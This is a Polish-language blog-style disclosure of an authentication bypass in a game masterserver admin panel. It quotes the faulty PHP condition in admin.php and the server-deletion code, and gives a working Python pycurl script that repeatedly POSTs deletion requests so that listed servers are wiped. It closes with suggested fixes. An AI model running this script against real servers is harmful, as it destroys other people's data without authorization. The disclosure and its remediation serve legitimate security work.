Podatność została znaleziona kilka miesięcy temu dopiero teraz zdecydowałem się ją opisać , większość masterserwerów jest już zabezpieczona przed nią także skrypt ms do pobrania jest już zabezpieczony. Jednak zdecydowałem się wrzucić informacje o tym.
W skrypcie boosta można było znaleźć podatność która pozwalała np. na usuwanie serwerów z listy.
Zaznaczam że do kodu starego ms’a nie mam już dostępu zniknęły w czeluściach mojego dysku a downloadu nie znalazłem dlatego ten post nie będzie aż tak dokładny jakbym chciał.
W pliku admin.php można było znaleźć kod podobny do tego
<!--?php if(isset($showmsg)) { echo $showmsg; } if(isset($_COOKIE["adminhash"]) AND $_COOKIE["adminhash"] != $auth[2] OR !isset($_COOKIE["adminhash"])) { require_once "include/admin/admin_auth.php"; } else { if(isset($_GET['servers'])) { require_once "include/admin/admin_server_list.php"; } else if(isset($_GET['bans'])) { require_once "include/admin/admin_server_bans.php"; } else if(isset($_GET['keys'])) { require_once "include/admin/admin_server_keys.php"; } else { require_once "include/admin/admin_main.php"; require_once "include/admin/admin_graph.php"; } } ?-->
( jest to już kod poprawiony )
Z powodu błędu w warunku
if(isset($_COOKIE["adminhash"]) AND $_COOKIE["adminhash"] != $auth[2] OR !isset($_COOKIE["adminhash"]))
można było przejść do includowania admin_server_list.php.
require_once "include/admin/admin_server_list.php";
w pliku admin_server_list.php można znaleźć taki kod
else if(!empty($_GET['del'])) { $id = intval($_GET['del']); $sql = mysql_query("SELECT * FROM `servers` WHERE `id` = {$id}") or die(mysql_error()); if(mysql_num_rows($sql) > 0) { $row = mysql_fetch_assoc($sql); echo ' <legend>Usuwanie serwera IP: '.$row['address'].' <a class="pull-right" href="admin.php?servers">Wróć</a></legend>'; echo ' <form method="post" action="" class="form-horizontal"> <input type="hidden" name="id" value="'.$row['id'].'"> <label class="checkbox"> <input type="checkbox" name="del"> Tak, potwierdzam że chcę usunąć ten serwer. </label> <input type="submit" class="btn btn-info" name="submit" value="Usuń" serwer"=""> </form>'; } else { echo $newMess->into_msg("2", "Ten serwer nie istnieje", "2"); }
( także zmieniony już kod , ale czy poprawiony 😛 ? )
Skrypt w python 3 który wykorzystywał tą podatność
#-*- encoding: utf-8 -*- import pycurl import threading import urllib.parse import io url = "url" repeat = 5000; url = url + "/admin.php?servers=1" while True: for x in range( 0 , repeat ): values = { 'del': 1, 'id': x } c = pycurl.Curl() c.setopt( pycurl.URL, url ); c.setopt( pycurl.NOBODY, True ); c.setopt( c.POST, True); data = urllib.parse.urlencode( values ) c.setopt( c.POSTFIELDS, data) c.setopt( pycurl.HEADER, True); c.setopt( pycurl.HTTPHEADER, [ "User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)" , "Connection: keep-alive" ] ); c.setopt( pycurl.TIMEOUT, 10); body = io.BytesIO() c.setopt( pycurl.WRITEFUNCTION, body.write ) c.perform()
Sposoby naprawy
- Ukrycie pliku admin.php ( zmiana nazwy , zablokowanie na ip etc. )
- Naprawa warunku w pliku admin.php